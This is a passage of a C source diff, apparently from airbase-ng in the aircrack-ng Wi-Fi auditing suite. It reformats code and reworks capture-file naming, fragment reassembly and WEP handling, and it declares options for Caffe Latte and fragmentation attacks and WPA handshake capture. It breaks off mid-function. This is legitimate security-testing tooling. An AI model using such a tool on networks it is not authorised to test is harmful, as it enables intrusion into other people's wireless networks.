+	int skalen;
+	int filter;
+	int caffelatte;
+	int ringbuffer;
+	int adhoc;
+	int nb_arp;
+	int verbose;
+	int wpa1type;
+	int wpa2type;
+	int nobroadprobe;
+	int sendeapol;
+	int allwpa;
+	int cf_count;
+	int cf_attack;
+	int record_data;
+
+	int ti_mtu; // MTU of tun/tap interface
+	int wif_mtu; // MTU of wireless interface
+
+	// Fixed nonce
+	int use_fixed_nonce;
+	unsigned char fixed_nonce[32];
+} opt;
 
 struct devices
 {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_rtc;
-    struct tif *dv_ti;
-    struct tif *dv_ti2;
-
-    int is_wlanng;
-    int is_hostap;
-    int is_madwifi;
-    int is_madwifing;
-    int is_bcm43xx;
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+	struct tif * dv_ti;
+	struct tif * dv_ti2;
+
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
 
-    FILE *f_cap_in;
+	FILE * f_cap_in;
 
-    struct pcap_file_header pfh_in;
-}
-dev;
+	struct pcap_file_header pfh_in;
+} dev;
 
 struct ARP_req
 {
-    unsigned char *buf;
-    int len;
+	unsigned char * buf;
+	int len;
 };
 
 struct AP_conf
 {
-    unsigned char bssid[6];
-    char *essid;
-    int essid_len;
-    unsigned short interval;
-    unsigned char capa[2];
+	unsigned char bssid[6];
+	char * essid;
+	int essid_len;
+	unsigned short interval;
+	unsigned char capa[2];
 };
 
-typedef struct ESSID_list* pESSID_t;
+typedef struct ESSID_list * pESSID_t;
 struct ESSID_list
 {
-    char            *essid;
-    unsigned char   len;
-    pESSID_t        next;
-	time_t          expire;
+	char * essid;
+	unsigned char len;
+	pESSID_t next;
+	time_t expire;
 };
 
-typedef struct MAC_list* pMAC_t;
+typedef struct MAC_list * pMAC_t;
 struct MAC_list
 {
-    unsigned char   mac[6];
-    pMAC_t          next;
+	unsigned char mac[6];
+	pMAC_t next;
 };
 
-typedef struct Fragment_list* pFrag_t;
+typedef struct Fragment_list * pFrag_t;
 struct Fragment_list
 {
-    unsigned char   source[6];
-    unsigned short  sequence;
-    unsigned char*  fragment[16];
-    short           fragmentlen[16];
-    char            fragnum;
-    unsigned char*  header;
-    short           headerlen;
-    struct timeval  access;
-    char            wep;
-    pFrag_t         next;
+	unsigned char source[6];
+	unsigned short sequence;
+	unsigned char * fragment[16];
+	short fragmentlen[16];
+	char fragnum;
+	unsigned char * header;
+	short headerlen;
+	struct timeval access;
+	char wep;
+	pFrag_t next;
 };
 
 /* linked list of detected clients */
 
 struct ST_info
 {
-    struct ST_info *prev;    /* the prev client in list   */
-    struct ST_info *next;    /* the next client in list   */
-    struct AP_info *base;    /* AP this client belongs to */
-    time_t tinit, tlast;     /* first and last time seen  */
-    unsigned long nb_pkt;    /* total number of packets   */
-    unsigned char stmac[6];  /* the client's MAC address  */
-    char essid[256];         /* last associated essid     */
-    int essid_length;        /* essid length of last asso */
-    int probe_index;         /* probed ESSIDs ring index  */
-    char probes[NB_PRB][256];/* probed ESSIDs ring buffer */
-    int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
-    int power;               /* last signal power         */
-    int rate_to;             /* last bitrate to station   */
-    int rate_from;           /* last bitrate from station */
-    struct timeval ftimer;   /* time of restart           */
-    int missed;              /* number of missed packets  */
-    unsigned int lastseq;    /* last seen sequnce number  */
-    struct WPA_hdsk wpa;     /* WPA handshake data        */
-    int wpatype;             /* 1=wpa1 2=wpa2             */
-    int wpahash;             /* 1=md5(tkip) 2=sha1(ccmp)  */
-    int wep;                 /* capability encryption bit */
+	struct ST_info * prev; /* the prev client in list   */
+	struct ST_info * next; /* the next client in list   */
+	struct AP_info * base; /* AP this client belongs to */
+	time_t tinit, tlast; /* first and last time seen  */
+	unsigned long nb_pkt; /* total number of packets   */
+	unsigned char stmac[6]; /* the client's MAC address  */
+	char essid[256]; /* last associated essid     */
+	int essid_length; /* essid length of last asso */
+	int probe_index; /* probed ESSIDs ring index  */
+	char probes[NB_PRB][256]; /* probed ESSIDs ring buffer */
+	int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
+	int power; /* last signal power         */
+	int rate_to; /* last bitrate to station   */
+	int rate_from; /* last bitrate from station */
+	struct timeval ftimer; /* time of restart           */
+	int missed; /* number of missed packets  */
+	unsigned int lastseq; /* last seen sequnce number  */
+	struct WPA_hdsk wpa; /* WPA handshake data        */
+	int wpatype; /* 1=wpa1 2=wpa2             */
+	int wpahash; /* 1=md5(tkip) 2=sha1(ccmp)  */
+	int wep; /* capability encryption bit */
 };
 
-typedef struct CF_packet *pCF_t;
+typedef struct CF_packet * pCF_t;
 struct CF_packet
 {
-    unsigned char           frags[3][128];  /* first fragments to fill a gap */
-    unsigned char           final[4096];    /* final frame derived from orig */
-    int             fraglen[3];     /* fragmentation frame lengths   */
-    int             finallen;       /* length of frame in final[]    */
-    int             xmitcount;      /* how often was this frame sent */
-    unsigned char   fragnum;        /* number of fragments to send   */
-    pCF_t           next;           /* next set of fragments to send */
+	unsigned char frags[3][128]; /* first fragments to fill a gap */
+	unsigned char final[4096]; /* final frame derived from orig */
+	int fraglen[3]; /* fragmentation frame lengths   */
+	int finallen; /* length of frame in final[]    */
+	int xmitcount; /* how often was this frame sent */
+	unsigned char fragnum; /* number of fragments to send   */
+	pCF_t next; /* next set of fragments to send */
 };
 
-pthread_mutex_t mx_cf;              /* lock write access to rCF */
-pthread_mutex_t mx_cap;              /* lock write access to rCF */
+pthread_mutex_t mx_cf; /* lock write access to rCF */
+pthread_mutex_t mx_cap; /* lock write access to rCF */
 
 unsigned long nb_pkt_sent;
 unsigned char h80211[4096];
@@ -409,83 +411,84 @@
 pthread_t caffelattepid;
 pthread_t cfragpid;
 
-pESSID_t    rESSID;
-pthread_mutex_t	rESSIDmutex;
-pMAC_t      rBSSID;
-pMAC_t      rClient;
-pFrag_t     rFragment;
-pCF_t       rCF;
-
-void sighandler( int signum )
-{
-    if( signum == SIGINT )
-        ctrl_c++;
-
-    if( signum == SIGALRM )
-        alarmed++;
-}
+pESSID_t rESSID;
+pthread_mutex_t rESSIDmutex;
+pMAC_t rBSSID;
+pMAC_t rClient;
+pFrag_t rFragment;
+pCF_t rCF;
+
+// Threads
+static void beacon_thread(void * arg);
+static void caffelatte_thread(void);
+static void cfrag_thread(void);
 
-int addESSID(char* essid, int len, int expiration)
+static int addESSID(char * essid, int len, int expiration)
 {
-    pESSID_t tmp;
+	pESSID_t tmp;
 	pESSID_t cur;
 	time_t now;
-    if(essid == NULL)
-        return -1;
+	if (essid == NULL) return -1;
 
-    if(len <= 0 || len > 255)
-        return -1;
+	if (len <= 0 || len > 255) return -1;
 
-    pthread_mutex_lock(&rESSIDmutex);
-    cur = rESSID;
+	pthread_mutex_lock(&rESSIDmutex);
+	cur = rESSID;
 
-    if(rESSID == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return -1;
-    }
-
-    while(cur->next != NULL) {
-        // if it already exists, just update the expiration time
-        if(cur->len == len && ! memcmp(cur->essid, essid, len)) {
-            if(cur->expire && expiration) {
-                time(&now);
-                cur->expire = now + expiration;
-            }
-            pthread_mutex_unlock(&rESSIDmutex);
-            return 0;
-        }
-        cur = cur->next;
-    }
-
-    //alloc mem
-    tmp = (pESSID_t) malloc(sizeof(struct ESSID_list));
-
-    //set essid
-    tmp->essid = (char*) malloc(len+1);
-    memcpy(tmp->essid, essid, len);
-    tmp->essid[len] = 0x00;
-    tmp->len = len;
-
-    // set expiration date
-    if(expiration) {
-        time(&now);
-        tmp->expire = now + expiration;
-    } else {
-        tmp->expire = 0;
-    }
+	if (rESSID == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return -1;
+	}
 
-    tmp->next = NULL;
+	while (cur->next != NULL)
+	{
+		// if it already exists, just update the expiration time
+		if (cur->len == len && !memcmp(cur->essid, essid, len))
+		{
+			if (cur->expire && expiration)
+			{
+				time(&now);
+				cur->expire = now + expiration;
+			}
+			pthread_mutex_unlock(&rESSIDmutex);
+			return 0;
+		}
+		cur = cur->next;
+	}
+
+	// alloc mem
+	tmp = (pESSID_t) malloc(sizeof(struct ESSID_list));
+
+	// set essid
+	tmp->essid = (char *) malloc(len + 1);
+	memcpy(tmp->essid, essid, len);
+	tmp->essid[len] = 0x00;
+	tmp->len = len;
+
+	// set expiration date
+	if (expiration)
+	{
+		time(&now);
+		tmp->expire = now + expiration;
+	}
+	else
+	{
+		tmp->expire = 0;
+	}
+
+	tmp->next = NULL;
 	cur->next = tmp;
 
-    pthread_mutex_unlock(&rESSIDmutex);
-    return 0;
+	pthread_mutex_unlock(&rESSIDmutex);
+	return 0;
 }
 
-int capture_packet(unsigned char* packet, int length)
+static int capture_packet(unsigned char * packet, int length)
 {
-    struct pcap_pkthdr pkh;
-    struct timeval tv;
-    int n;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	int n;
 #if defined(__sun__)
 	struct flock fl;
 	fl.l_start = 0;
@@ -493,4591 +496,4546 @@
 	fl.l_whence = SEEK_SET;
 #endif
 
-    if( opt.f_cap != NULL && length >= 10)
-    {
-        pkh.caplen = pkh.len = length;
+	if (opt.f_cap != NULL && length >= 10)
+	{
+		pkh.caplen = pkh.len = length;
 
-        gettimeofday( &tv, NULL );
+		gettimeofday(&tv, NULL);
 
-        pkh.tv_sec  = tv.tv_sec;
-        pkh.tv_usec = tv.tv_usec;
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = tv.tv_usec;
 
-        n = sizeof( pkh );
+		n = sizeof(pkh);
 
 #if defined(__sun__)
-	fl.l_type = F_WRLCK;
-	fcntl(fileno(opt.f_cap), F_SETLKW, &fl);
+		fl.l_type = F_WRLCK;
+		fcntl(fileno(opt.f_cap), F_SETLKW, &fl);
 #else
-	flock(fileno(opt.f_cap), LOCK_EX);
+		flock(fileno(opt.f_cap), LOCK_EX);
 #endif
-        if( fwrite( &pkh, 1, n, opt.f_cap ) != (size_t) n )
-        {
-		perror( "fwrite(packet header) failed" );
+		if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet header) failed");
 #if defined(__sun__)
-		fl.l_type = F_UNLCK;
-		fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+			fl.l_type = F_UNLCK;
+			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
 #else
-		flock(fileno(opt.f_cap), LOCK_UN);
+			flock(fileno(opt.f_cap), LOCK_UN);
 #endif
-		return( 1 );
-	}
+			return (1);
+		}
 
-        fflush( stdout );
+		fflush(stdout);
 
-        n = pkh.caplen;
+		n = pkh.caplen;
 
-        if( fwrite( packet, 1, n, opt.f_cap ) != (size_t) n )
-        {
-		perror( "fwrite(packet data) failed" );
+		if (fwrite(packet, 1, n, opt.f_cap) != (size_t) n)
+		{
+			perror("fwrite(packet data) failed");
 #if defined(__sun__)
-		fl.l_type = F_UNLCK;
-		fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+			fl.l_type = F_UNLCK;
+			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
 #else
-		flock(fileno(opt.f_cap), LOCK_UN);
+			flock(fileno(opt.f_cap), LOCK_UN);
 #endif
-		return( 1 );
-        }
+			return (1);
+		}
 
-        fflush( stdout );
+		fflush(stdout);
 
-        fflush( opt.f_cap );
+		fflush(opt.f_cap);
 #if defined(__sun__)
-	fl.l_type = F_UNLCK;
-	fcntl(fileno(opt.f_cap), F_GETLK, &fl);
+		fl.l_type = F_UNLCK;
+		fcntl(fileno(opt.f_cap), F_GETLK, &fl);
 #else
-	flock(fileno(opt.f_cap), LOCK_UN);
+		flock(fileno(opt.f_cap), LOCK_UN);
 #endif
-    }
-    return 0;
+	}
+	return 0;
 }
-int dump_initialize( char *prefix )
+
+static int dump_initialize(char * prefix)
 {
-    int i=0;
-    FILE *f;
-    char ofn[1024];
-    struct pcap_file_header pfh;
-
-    if ( prefix == NULL) {
-        return( 0 );
-    }
-
-    /* check not to overflow the ofn buffer */
-
-    if( strlen( prefix ) >= sizeof( ofn ) - 10 )
-        prefix[sizeof( ofn ) - 10] = '\0';
-
-    /* make sure not to overwrite any existing file */
-
-    memset( ofn, 0, sizeof( ofn ) );
-
-    opt.f_index = 1;
-
-    do
-    {
-        snprintf( ofn,  sizeof( ofn ) - 1, "%s-%02d.%s",
-                    prefix, opt.f_index, "cap" );
-
-        if( ( f = fopen( ofn, "rb+" ) ) != NULL )
-        {
-            fclose( f );
-            opt.f_index++;
-            continue;
-        }
-        i++;
-    }
-    while( i < 1 );
-
-    opt.prefix = (char*) malloc(strlen(prefix)+2);
-    snprintf(opt.prefix, strlen(prefix)+1, "%s", prefix);
-
-    /* create the output packet capture file */
-
-    snprintf( ofn,  sizeof( ofn ) - 1, "%s-%02d.cap",
-                prefix, opt.f_index );
-
-    if( ( opt.f_cap = fopen( ofn, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        fprintf( stderr, "Could not create \"%s\".\n", ofn );
-        return( 1 );
-    }
-
-    opt.f_cap_name = (char*) malloc(128);
-    snprintf(opt.f_cap_name, 127, "%s",ofn);
-
-    pfh.magic           = TCPDUMP_MAGIC;
-    pfh.version_major   = PCAP_VERSION_MAJOR;
-    pfh.version_minor   = PCAP_VERSION_MINOR;
-    pfh.thiszone        = 0;
-    pfh.sigfigs         = 0;
-    pfh.snaplen         = 65535;
-    pfh.linktype        = LINKTYPE_IEEE802_11;
-
-    if( fwrite( &pfh, 1, sizeof( pfh ), opt.f_cap ) !=
-                (size_t) sizeof( pfh ) )
-    {
-        perror( "fwrite(pcap file header) failed" );
-        return( 1 );
-    }
-
-    if(!opt.quiet)
-    {
-        PCT; printf("Created capture file \"%s\".\n", ofn);
-    }
-
-    return( 0 );
-}
-
-int addFrag(unsigned char* packet, unsigned char* smac, int len)
-{
-    pFrag_t cur = rFragment;
-    int seq, frag, wep, z, i;
-    unsigned char frame[4096];
-    unsigned char K[128];
-
-    if(packet == NULL)
-        return -1;
-
-    if(smac == NULL)
-        return -1;
-
-    if(len <= 32 || len > 2000)
-        return -1;
-
-    if(rFragment == NULL)
-        return -1;
-
-    memset(frame, 0, 4096);
-    memcpy(frame, packet, len);
-
-    z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30;
-    frag = frame[22] & 0x0F;
-    seq = (frame[22] >> 4) | (frame[23] << 4);
-    wep = (frame[1] & 0x40) >> 6;
-
-    if(frag < 0 || frag > 15)
-        return -1;
-
-    if(wep && opt.crypt != CRYPT_WEP)
-        return -1;
-
-    if(wep)
-    {
-        //decrypt it
-        memcpy( K, frame + z, 3 );
-        memcpy( K + 3, opt.wepkey, opt.weplen );
-
-        if (decrypt_wep( frame + z + 4, len - z - 4,
-                        K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) )
-        {
-            printf("error decrypting... len: %d\n", len-z-4);
-            return -1;
-        }
-
-        /* WEP data packet was successfully decrypted, *
-        * remove the WEP IV & ICV and write the data  */
-
-        len -= 8;
-
-        memcpy( frame + z, frame + z + 4, len - z );
-
-        frame[1] &= 0xBF;
-    }
-
-    while(cur->next != NULL)
-    {
-        cur = cur->next;
-        if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) )
-        {
-            //entry already exists, update
-//             printf("got seq %d, added fragment %d \n", seq, frag);
-            if(cur->fragment[frag] != NULL)
-                return 0;
-
-            if( (frame[1] & 0x04) == 0 )
-            {
-//                 printf("max fragnum is %d\n", frag);
-                cur->fragnum = frag;    //no higher frag number possible
-            }
-            cur->fragment[frag] = (unsigned char*) malloc(len-z);
-            memcpy(cur->fragment[frag], frame+z, len-z);
-            cur->fragmentlen[frag] = len-z;
-            gettimeofday(&cur->access, NULL);
-
-            return 0;
-        }
-    }
-
-//     printf("new seq %d, added fragment %d \n", seq, frag);
-    //new entry, first fragment received
-    //alloc mem
-    cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
-    cur = cur->next;
-
-    for(i=0; i<16; i++)
-    {
-        cur->fragment[i] = NULL;
-        cur->fragmentlen[i] = 0;
-    }
-
-    if( (frame[1] & 0x04) == 0 )
-    {
-//         printf("max fragnum is %d\n", frag);
-        cur->fragnum = frag;    //no higher frag number possible
-    }
-    else
-    {
-        cur->fragnum = 0;
-    }
-
-    //remove retry & more fragments flag
-    frame[1] &= 0xF3;
-    //set frag number to 0
-    frame[22] &= 0xF0;
-    memcpy(cur->source, smac, 6);
-    cur->sequence = seq;
-    cur->header = (unsigned char*) malloc(z);
-    memcpy(cur->header, frame, z);
-    cur->headerlen = z;
-    cur->fragment[frag] = (unsigned char*) malloc(len-z);
-    memcpy(cur->fragment[frag], frame+z, len-z);
-    cur->fragmentlen[frag] = len-z;
-    cur->wep = wep;
-    gettimeofday(&cur->access, NULL);
-
-    cur->next = NULL;
-
-    return 0;
-}
-
-int timeoutFrag()
-{
-    pFrag_t old, cur = rFragment;
-    struct timeval tv;
-    int64_t timediff;
-    int i;
-
-    if(rFragment == NULL)
-        return -1;
-
-    gettimeofday(&tv, NULL);
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        timediff = (tv.tv_sec - old->access.tv_sec)*1000000UL + (tv.tv_usec - old->access.tv_usec);
-        if(timediff > FRAG_TIMEOUT)
-        {
-            //remove captured fragments
-            if(old->header != NULL)
-                free(old->header);
-            for(i=0; i<16; i++)
-                if(old->fragment[i] != NULL)
-                    free(old->fragment[i]);
-
-            cur->next = old->next;
-            free(old);
-        }
-        cur = cur->next;
-    }
-    return 0;
-}
-
-int delFrag(unsigned char* smac, int sequence)
-{
-    pFrag_t old, cur = rFragment;
-    int i;
-
-    if(rFragment == NULL)
-        return -1;
-
-    if(smac == NULL)
-        return -1;
-
-    if(sequence < 0)
-        return -1;
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-        {
-            //remove captured fragments
-            if(old->header != NULL)
-                free(old->header);
-            for(i=0; i<16; i++)
-                if(old->fragment[i] != NULL)
-                    free(old->fragment[i]);
-
-            cur->next = old->next;
-            free(old);
-            return 0;
-        }
-        cur = cur->next;
-    }
-    return 0;
-}
-
-unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen)
-{
-    pFrag_t old, cur = rFragment;
-    int i, len=0;
-    unsigned char* packet=NULL;
-    unsigned char K[128];
-
-    if(rFragment == NULL)
-        return NULL;
-
-    if(smac == NULL)
-        return NULL;
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-        {
-            //check if all frags available
-            if(old->fragnum == 0)
-                return NULL;
-            for(i=0; i<=old->fragnum; i++)
-            {
-                if(old->fragment[i] == NULL)
-                    return NULL;
-                len += old->fragmentlen[i];
-            }
-
-            if(len > 2000)
-                return NULL;
-
-//             printf("got a complete frame -> build it\n");
-
-            if(old->wep)
-            {
-                if( opt.crypt == CRYPT_WEP)
-                {
-					packet = (unsigned char*) malloc(len+old->headerlen+8);
-                    K[0] = rand() & 0xFF;
-                    K[1] = rand() & 0xFF;
-                    K[2] = rand() & 0xFF;
-                    K[3] = 0x00;
-
-                    memcpy(packet, old->header, old->headerlen);
-                    len=old->headerlen;
-                    memcpy(packet+len, K, 4);
-                    len+=4;
-                    for(i=0; i<=old->fragnum; i++)
-                    {
-                        memcpy(packet+len, old->fragment[i], old->fragmentlen[i]);
-                        len+=old->fragmentlen[i];
-                    }
-
-                    /* write crc32 value behind data */
-                    if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL;
-
-                    len += 4; //icv
-
-                    memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                    encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 );
-
-                    packet[1] = packet[1] | 0x40;
-
-                    //delete captured fragments
-                    delFrag(smac, sequence);
-                    *packetlen = len;
-                    return packet;
-                }
-                else
-                    return NULL;
-
-            }
-            else
-            {
-                packet = (unsigned char*) malloc(len+old->headerlen);
-                memcpy(packet, old->header, old->headerlen);
-                len=old->headerlen;
-                for(i=0; i<=old->fragnum; i++)
-                {
-                    memcpy(packet+len, old->fragment[i], old->fragmentlen[i]);
-                    len+=old->fragmentlen[i];
-                }
-                //delete captured fragments
-                delFrag(smac, sequence);
-                *packetlen = len;
-                return packet;
-            }
-        }
-        cur = cur->next;
-    }
-    return packet;
-}
-
-int addMAC(pMAC_t pMAC, unsigned char* mac)
-{
-    pMAC_t cur = pMAC;
-
-    if(mac == NULL)
-        return -1;
-
-    if(pMAC == NULL)
-        return -1;
-
-    while(cur->next != NULL)
-        cur = cur->next;
-
-    //alloc mem
-    cur->next = (pMAC_t) malloc(sizeof(struct MAC_list));
-    cur = cur->next;
-
-    //set mac
-    memcpy(cur->mac, mac, 6);
-
-    cur->next = NULL;
-
-    return 0;
-}
-
-int delESSID(char* essid, int len)
-{
-    pESSID_t old, cur;
-
-    if(essid == NULL)
-        return -1;
-
-    if(len <= 0 || len > 255)
-        return -1;
-
-    pthread_mutex_lock(&rESSIDmutex);
-    cur = rESSID;
-
-    if(rESSID == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return -1;
-    }
-
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(old->len == len)
-        {
-            if(memcmp(old->essid, essid, len) == 0)
-            {
-                //got it
-                cur->next = old->next;
-
-                free(old->essid);
-                old->essid = NULL;
-                old->next = NULL;
-                old->len = 0;
-                free(old);
-                pthread_mutex_unlock(&rESSIDmutex);
-                return 0;
-            }
-        }
-        cur = cur->next;
-    }
+	const size_t ADDED_LENGTH = 7;
+	FILE * f;
+	char * ofn;
+	size_t ofn_len;
+	struct pcap_file_header pfh;
 
-    pthread_mutex_unlock(&rESSIDmutex);
-    return -1;
-}
+	if (prefix == NULL)
+	{
+		return (0);
+	}
 
+	ofn_len = strlen(prefix) + ADDED_LENGTH + 1;
+	ofn = (char *) calloc(1, ofn_len);
 
-void flushESSID(void)
+	/* Get the index for the filename so we don't overwrite an existing file */
+	opt.f_index = 1;
+
+	do
+	{
+		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, "cap");
+
+		if ((f = fopen(ofn, "rb+")) != NULL)
+		{
+			fclose(f);
+			opt.f_index++;
+			continue;
+		}
+		break;
+	} while (1);
+
+	opt.prefix = (char *) calloc(1, strlen(prefix) + 1);
+	memcpy(opt.prefix, prefix, strlen(prefix));
+
+	/* create the output packet capture file */
+
+	snprintf(ofn, ofn_len, "%s-%02d.cap", prefix, opt.f_index);
+
+	if ((opt.f_cap = fopen(ofn, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		fprintf(stderr, "Could not create \"%s\".\n", ofn);
+		free(ofn);
+		return (1);
+	}
+
+	opt.f_cap_name = ofn;
+
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = LINKTYPE_IEEE802_11;
+
+	if (fwrite(&pfh, 1, sizeof(pfh), opt.f_cap) != (size_t) sizeof(pfh))
+	{
+		perror("fwrite(pcap file header) failed");
+		return (1);
+	}
+
+	if (!opt.quiet)
+	{
+		PCT;
+		printf("Created capture file \"%s\".\n", ofn);
+	}
+
+	return (0);
+}
+
+static int addFrag(unsigned char * packet, unsigned char * smac, int len)
 {
-    pESSID_t old;
-	pESSID_t cur;
-	time_t now;
+	pFrag_t cur = rFragment;
+	int seq, frag, wep, z, i;
+	unsigned char frame[4096];
+	unsigned char K[128];
 
-    pthread_mutex_lock(&rESSIDmutex);
-    cur = rESSID;
+	if (packet == NULL) return -1;
 
-    if(rESSID == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return;
-    }
+	if (smac == NULL) return -1;
+
+	if (len <= 32 || len > 2000) return -1;
+
+	if (rFragment == NULL) return -1;
+
+	memset(frame, 0, 4096);
+	memcpy(frame, packet, len);
+
+	z = ((frame[1] & 3) != 3) ? 24 : 30;
+	frag = frame[22] & 0x0F;
+	seq = (frame[22] >> 4) | (frame[23] << 4);
+	wep = (frame[1] & 0x40) >> 6;
+
+	if (frag < 0 || frag > 15) return -1;
+
+	if (wep && opt.crypt != CRYPT_WEP) return -1;
+
+	if (wep)
+	{
+		// decrypt it
+		memcpy(K, frame + z, 3);
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		if (decrypt_wep(frame + z + 4, len - z - 4, K, 3 + opt.weplen) == 0
+			&& (len - z - 4 > 8))
+		{
+			printf("error decrypting... len: %d\n", len - z - 4);
+			return -1;
+		}
+
+		/* WEP data packet was successfully decrypted, *
+		* remove the WEP IV & ICV and write the data  */
+
+		len -= 8;
+
+		memcpy(frame + z, frame + z + 4, len - z);
+
+		frame[1] &= 0xBF;
+	}
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		if ((memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence)
+			&& (wep == cur->wep))
+		{
+			// entry already exists, update
+			//             printf("got seq %d, added fragment %d \n", seq,
+			//             frag);
+			if (cur->fragment[frag] != NULL) return 0;
+
+			if ((frame[1] & 0x04) == 0)
+			{
+				//                 printf("max fragnum is %d\n", frag);
+				cur->fragnum = frag; // no higher frag number possible
+			}
+			cur->fragment[frag] = (unsigned char *) malloc(len - z);
+			memcpy(cur->fragment[frag], frame + z, len - z);
+			cur->fragmentlen[frag] = len - z;
+			gettimeofday(&cur->access, NULL);
+
+			return 0;
+		}
+	}
 
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(old->expire)
-        {
-            time(&now);
-            if(now > old->expire)
-            {
-                //got it
-                cur->next = old->next;
+	//     printf("new seq %d, added fragment %d \n", seq, frag);
+	// new entry, first fragment received
+	// alloc mem
+	cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	cur = cur->next;
 
-                free(old->essid);
-                old->essid = NULL;
-                old->next = NULL;
-                old->len = 0;
-                free(old);
-                pthread_mutex_unlock(&rESSIDmutex);
-                return;
-            }
-        }
-        cur = cur->next;
-    }
-    pthread_mutex_unlock(&rESSIDmutex);
+	for (i = 0; i < 16; i++)
+	{
+		cur->fragment[i] = NULL;
+		cur->fragmentlen[i] = 0;
+	}
+
+	if ((frame[1] & 0x04) == 0)
+	{
+		//         printf("max fragnum is %d\n", frag);
+		cur->fragnum = frag; // no higher frag number possible
+	}
+	else
+	{
+		cur->fragnum = 0;
+	}
+
+	// remove retry & more fragments flag
+	frame[1] &= 0xF3;
+	// set frag number to 0
+	frame[22] &= 0xF0;
+	memcpy(cur->source, smac, 6);
+	cur->sequence = seq;
+	cur->header = (unsigned char *) malloc(z);
+	memcpy(cur->header, frame, z);
+	cur->headerlen = z;
+	cur->fragment[frag] = (unsigned char *) malloc(len - z);
+	memcpy(cur->fragment[frag], frame + z, len - z);
+	cur->fragmentlen[frag] = len - z;
+	cur->wep = wep;
+	gettimeofday(&cur->access, NULL);
+
+	cur->next = NULL;
+
+	return 0;
+}
+
+static int timeoutFrag(void)
+{
+	pFrag_t old, cur = rFragment;
+	struct timeval tv;
+	int64_t timediff;
+	int i;
+
+	if (rFragment == NULL) return -1;
+
+	gettimeofday(&tv, NULL);
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		timediff = (tv.tv_sec - old->access.tv_sec) * 1000000UL
+				   + (tv.tv_usec - old->access.tv_usec);
+		if (timediff > FRAG_TIMEOUT)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+		}
+		cur = cur->next;
+	}
+	return 0;
 }
 
+static int delFrag(unsigned char * smac, int sequence)
+{
+	pFrag_t old, cur = rFragment;
+	int i;
+
+	if (rFragment == NULL) return -1;
+
+	if (smac == NULL) return -1;
 
-int delMAC(pMAC_t pMAC, char* mac)
+	if (sequence < 0) return -1;
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+			return 0;
+		}
+		cur = cur->next;
+	}
+	return 0;
+}
+
+static unsigned char *
+getCompleteFrag(unsigned char * smac, int sequence, int * packetlen)
 {
-    pMAC_t old, cur = pMAC;
+	pFrag_t old, cur = rFragment;
+	int i, len = 0;
+	unsigned char * packet = NULL;
+	unsigned char K[128];
+
+	if (rFragment == NULL) return NULL;
 
-    if(mac == NULL)
-        return -1;
+	if (smac == NULL) return NULL;
 
-    if(pMAC == NULL)
-        return -1;
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// check if all frags available
+			if (old->fragnum == 0) return NULL;
+			for (i = 0; i <= old->fragnum; i++)
+			{
+				if (old->fragment[i] == NULL) return NULL;
+				len += old->fragmentlen[i];
+			}
 
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(memcmp(old->mac, mac, 6) == 0)
-        {
-            //got it
-            cur->next = old->next;
+			if (len > 2000) return NULL;
 
-            old->next = NULL;
-            free(old);
-            return 0;
-        }
-        cur = cur->next;
-    }
+			//             printf("got a complete frame -> build it\n");
 
-    return -1;
+			if (old->wep)
+			{
+				if (opt.crypt == CRYPT_WEP)
+				{
